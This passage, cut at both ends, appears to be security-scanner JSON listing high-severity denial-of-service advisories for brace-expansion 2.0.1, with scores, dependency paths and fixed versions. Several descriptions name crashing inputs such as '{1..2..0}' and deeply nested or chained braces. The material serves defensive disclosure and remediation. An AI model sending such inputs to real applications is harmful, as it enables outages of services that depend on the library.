"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
